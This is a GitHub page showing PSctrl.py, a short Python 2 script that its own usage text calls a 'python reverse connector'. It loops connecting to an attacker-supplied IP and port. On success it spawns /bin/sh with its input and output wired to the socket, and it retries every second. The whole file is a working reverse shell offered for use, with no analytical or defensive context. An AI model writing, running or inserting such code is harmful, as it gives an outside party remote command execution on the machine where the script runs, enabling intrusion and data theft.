-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathPSctrl.py
51 lines (43 loc) · 1.14 KB
/
PSctrl.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# AUTHOR = PSoul
# version 1.0
# filename = PSctrl.py
# -*- coding:utf-8 -*-
#!/usr/bin/env python
import sys, socket, time
from subprocess import *
def usage(name):
print 'python reverse connector'
print 'usage: %s <ip_addr> <port>' % name
def check(ip, port):
conn = False
shell = "/bin/sh"
address = (ip, int(port))
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
flag = s.connect_ex(address)
if flag == 0:
print 'connect success'
Popen(shell, stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno(), shell=True)
conn = True
print conn
continue
elif flag == 22:
s.close()
conn = False
print conn
continue
elif flag == 61 and conn == True:
continue
elif flag == 61:
conn = False
print 'connect fail'
print flag
time.sleep(1)
print flag
if __name__ == '__main__':
if len(sys.argv) !=3:
usage(sys.argv[0])
sys.exit()
ip = sys.argv[1]
port = sys.argv[2]
check(ip, port)